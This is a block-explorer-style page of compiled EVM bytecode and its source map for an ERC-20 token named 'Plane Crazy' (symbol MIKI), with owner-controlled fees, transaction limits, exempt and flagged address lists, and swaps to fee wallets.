0b5461137e565b60006008555b6001600160a01b0383166000908152600260205260409020546112779082610de1565b6001600160a01b03841660009081526002602052604081209190915561129d84846115c1565b6112a757816112b2565b6112b2848484611607565b6001600160a01b0384166000908152600260205260409020549091506112d890826114fb565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061132c9085815260200190565b60405180910390a350505050565b6000818484111561135e5760405162461bcd60e51b815260040161058f91906119bd565b505050900390565b60006106e88284611d1e565b60006106e88284611d35565b6009805460ff19166001908117909155600f54600e54600d546000936113b8936002936107df9391926113b29283916114fb565b906114fb565b905060006113d582610775600d548661136690919063ffffffff16565b905060006113e38483610de1565b9050476113ef8261170e565b60006113fb4783610de1565b9050600061141e611417600d5488610de190919063ffffffff16565b8390611372565b90506000611437600d548361136690919063ffffffff16565b90508015611449576114498682611868565b600e5460009061145e906107df856002611366565b905080156114a2576019546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114a0573d6000803e3d6000fd5b505b4780156114e5576018546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114e3573d6000803e3d6000fd5b505b50506009805460ff191690555050505050505050565b60006106e88284611d0b565b600c54600b543060009081526002602052604081205460095491938510159211159060ff161580156115425750600754600160a81b900460ff165b80156115575750600754600160a01b900460ff165b80156115605750815b801561158557506001600160a01b03861660009081526004602052604090205460ff16155b801561159e57506007546001600160a01b038681169116145b80156115ae5750600a5460085410155b80156115b75750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106e85750506001600160a01b031660009081526004602052604090205460ff1615919050565b600080611614858561191c565b1115611707576000611637611629868661191c565b6014546107df908690611372565b3060009081526002602052604090205490915061165490826114fb565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116a59085815260200190565b60405180910390a360006010541180156116c957506010546116c7868661191c565b115b156116f5576116f53061dead6116f06010546107df6014548961137290919063ffffffff16565b610ded565b6116ff8382610de1565b9150506106e8565b5092915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061174357611743611c7d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561179c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c09190611d57565b816001815181106117d3576117d3611c7d565b6001600160a01b0392831660209182029290920101526006546117f99130911684610cbd565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611832908590600090869030904290600401611d74565b600060405180830381600087803b15801561184c57600080fd5b505af1158015611860573d6000803e3d6000fd5b505050505050565b6006546118809030906001600160a01b031684610cbd565b600654601a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119159190611de5565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff168061195b57506001600160a01b03821660009081526005602052604090205460ff165b156119755760145461196e906064610de1565b905061055f565b6007546001600160a01b0390811690831603611994575060125461055f565b6007546001600160a01b03908116908416036119b3575060115461055f565b5060135492915050565b600060208083528351808285015260005b818110156119ea578581018301518582016040015282016119ce565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a0d57600080fd5b60008060408385031215611a3357600080fd5b8235611a3e81611a0b565b946020939093013593505050565b600080600060608486031215611a6157600080fd5b8335611a6c81611a0b565b92506020840135611a7c81611a0b565b91506040840135611a8c81611a0b565b809150509250925092565b600080600060608486031215611aac57600080fd5b8335611ab781611a0b565b92506020840135611ac781611a0b565b929592945050506040919091013590565b600060208284031215611aea57600080fd5b81356106e881611a0b565b600080600060608486031215611b0a57600080fd5b505081359360208301359350604090920135919050565b8015158114610a0d57600080fd5b60008060408385031215611b4257600080fd5b8235611b4d81611a0b565b91506020830135611b5d81611b21565b809150509250929050565b600080600080600080600060e0888a031215611b8357600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080600060408486031215611bc957600080fd5b833567ffffffffffffffff80821115611be157600080fd5b818601915086601f830112611bf557600080fd5b813581811115611c0457600080fd5b8760208260051b8501011115611c1957600080fd5b60209283019550935050840135611a8c81611b21565b60008060408385031215611c4257600080fd5b8235611c4d81611a0b565b91506020830135611b5d81611a0b565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cbb57611cbb611c93565b5060010190565b600060208284031215611cd457600080fd5b5051919050565b600060208284031215611ced57600080fd5b81516106e881611b21565b8181038181111561055f5761055f611c93565b8082018082111561055f5761055f611c93565b808202811582820484141761055f5761055f611c93565b600082611d5257634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611d6957600080fd5b81516106e881611a0b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dc45784516001600160a01b031683529383019391830191600101611d9f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611dfa57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e137219fefd128e2de8fa3cb161369b0810f7a28db6a1eed1f6456c8f8dc0a5e64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806370a08231116100d1578063893d20e81161008a578063a8aa1b3111610064578063a8aa1b31146104a8578063a9059cbb146104c8578063dd62ed3e146104e8578063f2fde38b1461052e57600080fd5b8063893d20e8146104295780638cd4426d1461045b57806395d89b411461047b57600080fd5b806370a082311461037157806373ef1ae2146103a757806378109e54146103c757806379cecf0d146103dd5780637cca52fe146103fd5780637d1db4a51461041357600080fd5b80632f54bf6e1161013e5780633f4218e0116101185780633f4218e0146102ec57806348ff2b8b1461031c578063492c51761461033c57806351bc3c851461035c57600080fd5b80632f54bf6e14610281578063313ce567146102b05780633497f853146102cc57600080fd5b806306fdde0314610191578063095ea7b3146101d75780630e83897f1461020757806318160ddd1461022957806323b872dd1461024c578063293230b81461026c57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600b81526a506c616e65204372617a7960a81b60208201525b6040516101ce91906119bd565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611a20565b61054e565b60405190151581526020016101ce565b34801561021357600080fd5b50610227610222366004611a4c565b610565565b005b34801561023557600080fd5b5061023e610614565b6040519081526020016101ce565b34801561025857600080fd5b506101f7610267366004611a97565b610685565b34801561027857600080fd5b506102276106ef565b34801561028d57600080fd5b506101f761029c366004611ad8565b6000546001600160a01b0391821691161490565b3480156102bc57600080fd5b50604051600981526020016101ce565b3480156102d857600080fd5b506102276102e7366004611af5565b61072e565b3480156102f857600080fd5b506101f7610307366004611ad8565b60046020526000908152604090205460ff1681565b34801561032857600080fd5b50610227610337366004611b2f565b61086f565b34801561034857600080fd5b50610227610357366004611b68565b6108c4565b34801561036857600080fd5b506102276109bb565b34801561037d57600080fd5b5061023e61038c366004611ad8565b6001600160a01b031660009081526002602052604090205490565b3480156103b357600080fd5b506102276103c2366004611af5565b610a10565b3480156103d357600080fd5b5061023e60175481565b3480156103e957600080fd5b506102276103f8366004611bb4565b610a76565b34801561040957600080fd5b5061023e60165481565b34801561041f57600080fd5b5061023e60155481565b34801561043557600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ce565b34801561046757600080fd5b50610227610476366004611a20565b610b17565b34801561048757600080fd5b506040805180820190915260048152634d494b4960e01b60208201526101c1565b3480156104b457600080fd5b50600754610443906001600160a01b031681565b3480156104d457600080fd5b506101f76104e3366004611a20565b610c32565b3480156104f457600080fd5b5061023e610503366004611c2f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561053a57600080fd5b50610227610549366004611ad8565b610c3f565b600061055b338484610cbd565b5060015b92915050565b6000546001600160a01b031633146105985760405162461bcd60e51b815260040161058f90611c5d565b60405180910390fd5b601980546001600160a01b039485166001600160a01b03199182168117909255601a805494861694821685179055601880549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261068092909161067a9190610de1565b90610de1565b905090565b6000610692848484610ded565b6106e484336106df85604051806060016040528060288152602001611e14602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061133a565b610cbd565b5060015b9392505050565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161058f90611c5d565b6007805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161058f90611c5d565b600061077b6127106107758660015461136690919063ffffffff16565b90611372565b9050600061079a6127106107758660015461136690919063ffffffff16565b905060006107b96127106107758660015461136690919063ffffffff16565b601584905560168390556017819055905060006107e56103e861077560056107df610614565b90611366565b90508084101580156107f75750808310155b80156108035750808210155b6108665760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161058f565b50505050505050565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161058f90611c5d565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161058f90611c5d565b600d879055600e8690556010859055600f84905560118390556012829055601381905560145461091f906001611372565b6011541115801561093f5750601454610939906001611372565b60125411155b801561095a5750601454610954906001611372565b60135411155b6108665760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b606482015260840161058f565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260040161058f90611c5d565b30600090815260026020526040902054600b54811115610a045750600b545b610a0d8161137e565b50565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161058f90611c5d565b600a839055600154610a5590620186a0906107759085611366565b600b55600154610a6e90620186a0906107759084611366565b600c55505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161058f90611c5d565b60005b82811015610b11578160056000868685818110610ac257610ac2611c7d565b9050602002016020810190610ad79190611ad8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0981611ca9565b915050610aa3565b50505050565b6000546001600160a01b03163314610b415760405162461bcd60e51b815260040161058f90611c5d565b6040516370a0823160e01b8152306004820152600090610bb9906064906107759085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b95573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df9190611cc2565b60185460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af1158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b119190611cdb565b600061055b338484610ded565b6000546001600160a01b03163314610c695760405162461bcd60e51b815260040161058f90611c5d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610d1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058f565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106e88284611cf8565b6001600160a01b038316610e515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058f565b6001600160a01b038216610eb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058f565b6001600160a01b038316600090815260026020526040902054811115610f355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161058f565b6001600160a01b03831660009081526004602052604090205460ff16158015610f7757506001600160a01b03821660009081526004602052604090205460ff16155b15610fc657600754600160a01b900460ff16610fc65760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161058f565b6001600160a01b03831660009081526004602052604090205460ff1615801561100857506001600160a01b03821660009081526004602052604090205460ff16155b801561102257506007546001600160a01b03838116911614155b801561103957506001600160a01b03821661dead14155b156110b2576017546001600160a01b03831660009081526002602052604090205461106490836114fb565b11156110b25760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161058f565b6007546001600160a01b0384811691161461115357601654811115806110f057506001600160a01b03831660009081526004602052604090205460ff165b8061111357506001600160a01b03821660009081526004602052604090205460ff165b6111535760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161058f565b6015548111158061117c57506001600160a01b03831660009081526004602052604090205460ff165b8061119f57506001600160a01b03821660009081526004602052604090205460ff165b6111df5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161058f565b6007546001600160a01b03838116911614801561121557506001600160a01b03831660009081526004602052604090205460ff16155b156112335760016008600082825461122d9190611d0b565b90915550505b61123e838383611507565b156112545761124e600b5461137e565b60006008555b6001600160a01b0383166000908152600260205260409020546112779082610de1565b6001600160a01b03841660009081526002602052604081209190915561129d84846115c1565b6112a757816112b2565b6112b2848484611607565b6001600160a01b0384166000908152600260205260409020549091506112d890826114fb565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061132c9085815260200190565b60405180910390a350505050565b6000818484111561135e5760405162461bcd60e51b815260040161058f91906119bd565b505050900390565b60006106e88284611d1e565b60006106e88284611d35565b6009805460ff19166001908117909155600f54600e54600d546000936113b8936002936107df9391926113b29283916114fb565b906114fb565b905060006113d582610775600d548661136690919063ffffffff16565b905060006113e38483610de1565b9050476113ef8261170e565b60006113fb4783610de1565b9050600061141e611417600d5488610de190919063ffffffff16565b8390611372565b90506000611437600d548361136690919063ffffffff16565b90508015611449576114498682611868565b600e5460009061145e906107df856002611366565b905080156114a2576019546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114a0573d6000803e3d6000fd5b505b4780156114e5576018546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114e3573d6000803e3d6000fd5b505b50506009805460ff191690555050505050505050565b60006106e88284611d0b565b600c54600b543060009081526002602052604081205460095491938510159211159060ff161580156115425750600754600160a81b900460ff165b80156115575750600754600160a01b900460ff165b80156115605750815b801561158557506001600160a01b03861660009081526004602052604090205460ff16155b801561159e57506007546001600160a01b038681169116145b80156115ae5750600a5460085410155b80156115b75750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106e85750506001600160a01b031660009081526004602052604090205460ff1615919050565b600080611614858561191c565b1115611707576000611637611629868661191c565b6014546107df908690611372565b3060009081526002602052604090205490915061165490826114fb565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116a59085815260200190565b60405180910390a360006010541180156116c957506010546116c7868661191c565b115b156116f5576116f53061dead6116f06010546107df6014548961137290919063ffffffff16565b610ded565b6116ff8382610de1565b9150506106e8565b5092915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061174357611743611c7d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561179c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c09190611d57565b816001815181106117d3576117d3611c7d565b6001600160a01b0392831660209182029290920101526006546117f99130911684610cbd565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611832908590600090869030904290600401611d74565b600060405180830381600087803b15801561184c57600080fd5b505af1158015611860573d6000803e3d6000fd5b505050505050565b6006546118809030906001600160a01b031684610cbd565b600654601a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118f0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119159190611de5565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff168061195b57506001600160a01b03821660009081526005602052604090205460ff165b156119755760145461196e906064610de1565b905061055f565b6007546001600160a01b0390811690831603611994575060125461055f565b6007546001600160a01b03908116908416036119b3575060115461055f565b5060135492915050565b600060208083528351808285015260005b818110156119ea578581018301518582016040015282016119ce565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a0d57600080fd5b60008060408385031215611a3357600080fd5b8235611a3e81611a0b565b946020939093013593505050565b600080600060608486031215611a6157600080fd5b8335611a6c81611a0b565b92506020840135611a7c81611a0b565b91506040840135611a8c81611a0b565b809150509250925092565b600080600060608486031215611aac57600080fd5b8335611ab781611a0b565b92506020840135611ac781611a0b565b929592945050506040919091013590565b600060208284031215611aea57600080fd5b81356106e881611a0b565b600080600060608486031215611b0a57600080fd5b505081359360208301359350604090920135919050565b8015158114610a0d57600080fd5b60008060408385031215611b4257600080fd5b8235611b4d81611a0b565b91506020830135611b5d81611b21565b809150509250929050565b600080600080600080600060e0888a031215611b8357600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080600060408486031215611bc957600080fd5b833567ffffffffffffffff80821115611be157600080fd5b818601915086601f830112611bf557600080fd5b813581811115611c0457600080fd5b8760208260051b8501011115611c1957600080fd5b60209283019550935050840135611a8c81611b21565b60008060408385031215611c4257600080fd5b8235611c4d81611a0b565b91506020830135611b5d81611a0b565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cbb57611cbb611c93565b5060010190565b600060208284031215611cd457600080fd5b5051919050565b600060208284031215611ced57600080fd5b81516106e881611b21565b8181038181111561055f5761055f611c93565b8082018082111561055f5761055f611c93565b808202811582820484141761055f5761055f611c93565b600082611d5257634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611d6957600080fd5b81516106e881611a0b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dc45784516001600160a01b031683529383019391830191600101611d9f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611dfa57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e137219fefd128e2de8fa3cb161369b0810f7a28db6a1eed1f6456c8f8dc0a5e64736f6c63430008130033

Deployed Bytecode Sourcemap

5551:11508:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8015:67;;;;;;;;;;-1:-1:-1;8075:5:0;;;;;;;;;;;;-1:-1:-1;;;8075:5:0;;;;8015:67;;;;;;;:::i;:::-;;;;;;;;8896:133;;;;;;;;;;-1:-1:-1;8896:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8896:133:0;1023:187:1;11021:342:0;;;;;;;;;;-1:-1:-1;11021:342:0;;;;;:::i;:::-;;:::i;:::-;;9035:132;;;;;;;;;;;;;:::i;:::-;;;1895:25:1;;;1883:2;1868:18;9035:132:0;1749:177:1;16404:309:0;;;;;;;;;;-1:-1:-1;16404:309:0;;;;;:::i;:::-;;:::i;8238:67::-;;;;;;;;;;;;;:::i;4455:87::-;;;;;;;;;;-1:-1:-1;4455:87:0;;;;;:::i;:::-;4510:4;4535:5;-1:-1:-1;;;;;4524:16:0;;;4535:5;;4524:16;;4455:87;8165:67;;;;;;;;;;-1:-1:-1;8165:67:0;;5772:1;2786:36:1;;2774:2;2759:18;8165:67:0;2644:184:1;10453:560:0;;;;;;;;;;-1:-1:-1;10453:560:0;;;;;:::i;:::-;;:::i;5970:44::-;;;;;;;;;;-1:-1:-1;5970:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8782:108;;;;;;;;;;-1:-1:-1;8782:108:0;;;;;:::i;:::-;;:::i;9917:528::-;;;;;;;;;;-1:-1:-1;9917:528:0;;;;;:::i;:::-;;:::i;11567:195::-;;;;;;;;;;;;;:::i;8395:103::-;;;;;;;;;;-1:-1:-1;8395:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8478:18:0;8461:7;8478:18;;;:9;:18;;;;;;;8395:103;9586:323;;;;;;;;;;-1:-1:-1;9586:323:0;;;;;:::i;:::-;;:::i;6946:63::-;;;;;;;;;;;;;;;;11371:188;;;;;;;;;;-1:-1:-1;11371:188:0;;;;;:::i;:::-;;:::i;6877:62::-;;;;;;;;;;;;;;;;6810:60;;;;;;;;;;;;;;;;8311:78;;;;;;;;;;-1:-1:-1;8363:7:0;8381:5;-1:-1:-1;;;;;8381:5:0;8311:78;;;-1:-1:-1;;;;;5180:32:1;;;5162:51;;5150:2;5135:18;8311:78:0;5016:203:1;11770:242:0;;;;;;;;;;-1:-1:-1;11770:242:0;;;;;:::i;:::-;;:::i;8088:71::-;;;;;;;;;;-1:-1:-1;8150:7:0;;;;;;;;;;;;-1:-1:-1;;;8150:7:0;;;;8088:71;;6088:19;;;;;;;;;;-1:-1:-1;6088:19:0;;;;-1:-1:-1;;;;;6088:19:0;;;8504:139;;;;;;;;;;-1:-1:-1;8504:139:0;;;;;:::i;:::-;;:::i;8649:127::-;;;;;;;;;;-1:-1:-1;8649:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8747:18:0;;;8730:7;8747:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8649:127;4548:111;;;;;;;;;;-1:-1:-1;4548:111:0;;;;;:::i;:::-;;:::i;8896:133::-;8971:4;8978:37;8987:10;8999:7;9008:6;8978:8;:37::i;:::-;-1:-1:-1;9023:4:0;8896:133;;;;;:::o;11021:342::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;;;;;;;;;11147:18:::1;:31:::0;;-1:-1:-1;;;;;11147:31:0;;::::1;-1:-1:-1::0;;;;;;11147:31:0;;::::1;::::0;::::1;::::0;;;11180:18:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;11213:20:::1;:35:::0;;;;;::::1;::::0;::::1;::::0;::::1;::::0;;;11147:18:::1;11259:23:::0;;;:11:::1;:23;::::0;;;;;:30;;-1:-1:-1;;11259:30:0;;::::1;11147:31:::0;11259:30;;::::1;::::0;;;11291:23;;;;;;:30;;;::::1;::::0;::::1;::::0;;11323:25;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;11021:342::o;9035:132::-;8478:9;:18;;;;7055:42;9088:7;8478:18;;;;;9105:12;;9088:7;;9105:60;;8478:18;;9105:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9098:67;;9035:132;:::o;16404:309::-;16502:4;16519:36;16529:6;16537:9;16548:6;16519:9;:36::i;:::-;16566:117;16575:6;16583:10;16595:87;16631:6;16595:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16595:19:0;;;;;;:11;:19;;;;;;;;16615:10;16595:31;;;;;;;;;:87;:35;:87::i;:::-;16566:8;:117::i;:::-;-1:-1:-1;16701:4:0;16404:309;;;;;;:::o;8238:67::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;8282:14:::1;:21:::0;;-1:-1:-1;;;;8282:21:0::1;-1:-1:-1::0;;;8282:21:0::1;::::0;;8238:67::o;10453:560::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;10563:13:::1;10579:33;10606:5;10579:22;10596:4;10579:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;10563:49;;10614:19;10636:34;10664:5;10636:23;10653:5;10636:12;;:16;;:23;;;;:::i;:34::-;10614:56;;10672:17;10692:36;10722:5;10692:25;10709:7;10692:12;;:16;;:25;;;;:::i;:36::-;10739:12;:20:::0;;;10761:14:::1;:28:::0;;;10791:15:::1;:27:::0;;;10672:56;-1:-1:-1;;10845:30:0::1;10870:4;10845:20;10863:1;10845:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;10829:46;;10903:5;10894;:14;;:38;;;;;10927:5;10912:11;:20;;10894:38;:60;;;;;10949:5;10936:9;:18;;10894:60;10886:119;;;::::0;-1:-1:-1;;;10886:119:0;;6413:2:1;10886:119:0::1;::::0;::::1;6395:21:1::0;6452:2;6432:18;;;6425:30;6491:34;6471:18;;;6464:62;-1:-1:-1;;;6542:18:1;;;6535:44;6596:19;;10886:119:0::1;6211:410:1::0;10886:119:0::1;10552:461;;;;10453:560:::0;;;:::o;8782:108::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8856:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8856:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8782:108::o;9917:528::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;10111:12:::1;:25:::0;;;10138:12:::1;:25:::0;;;10165:7:::1;:15:::0;;;10182:14:::1;:29:::0;;;10213:8:::1;:17:::0;;;10232:7:::1;:15:::0;;;10249:11:::1;:20:::0;;;10300:11:::1;::::0;:18:::1;::::0;-1:-1:-1;10300:15:0::1;:18::i;:::-;10288:8;;:30;;:63;;;;-1:-1:-1::0;10333:11:0::1;::::0;:18:::1;::::0;10349:1:::1;10333:15;:18::i;:::-;10322:7;;:29;;10288:63;:100;;;;-1:-1:-1::0;10370:11:0::1;::::0;:18:::1;::::0;10386:1:::1;10370:15;:18::i;:::-;10355:11;;:33;;10288:100;10280:157;;;::::0;-1:-1:-1;;;10280:157:0;;6828:2:1;10280:157:0::1;::::0;::::1;6810:21:1::0;6867:2;6847:18;;;6840:30;6906:34;6886:18;;;6879:62;-1:-1:-1;;;6957:18:1;;;6950:42;7009:19;;10280:157:0::1;6626:408:1::0;11567:195:0;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;11654:4:::1;11619:14;8478:18:::0;;;:9;:18;;;;;;11683:13:::1;::::0;11674:22;::::1;11671:51;;;-1:-1:-1::0;11707:13:0::1;::::0;11671:51:::1;11732:22;11747:6;11732:14;:22::i;:::-;11608:154;11567:195::o:0;9586:323::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;9723:10:::1;:24:::0;;;9765:12:::1;::::0;:53:::1;::::0;9810:6:::1;::::0;9765:32:::1;::::0;9782:14;9765:16:::1;:32::i;:53::-;9749:13;:69:::0;9847:12:::1;::::0;:54:::1;::::0;9893:6:::1;::::0;9847:33:::1;::::0;9864:15;9847:16:::1;:33::i;:54::-;9830:14;:71:::0;-1:-1:-1;;;9586:323:0:o;11371:188::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;11472:6:::1;11468:84;11482:20:::0;;::::1;11468:84;;;11541:8;11519:5;:19;11525:9;;11535:1;11525:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11519:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11519:19:0;:30;;-1:-1:-1;;11519:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11504:3;::::1;::::0;::::1;:::i;:::-;;;;11468:84;;;;11371:188:::0;;;:::o;11770:242::-;4510:4;4535:5;-1:-1:-1;;;;;4535:5:0;4422:10;4524:16;4406:38;;;;-1:-1:-1;;;4406:38:0;;;;;;;:::i;:::-;11874:41:::1;::::0;-1:-1:-1;;;11874:41:0;;11909:4:::1;11874:41;::::0;::::1;5162:51:1::0;11856:15:0::1;::::0;11874:63:::1;::::0;11933:3:::1;::::0;11874:54:::1;::::0;11920:7;;-1:-1:-1;;;;;11874:26:0;::::1;::::0;::::1;::::0;5135:18:1;;11874:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:63::-;11974:20;::::0;11948:56:::1;::::0;-1:-1:-1;;;11948:56:0;;-1:-1:-1;;;;;11974:20:0;;::::1;11948:56;::::0;::::1;7806:51:1::0;7873:18;;;7866:34;;;11856:81:0;;-1:-1:-1;11948:25:0;::::1;::::0;::::1;::::0;7779:18:1;;11948:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1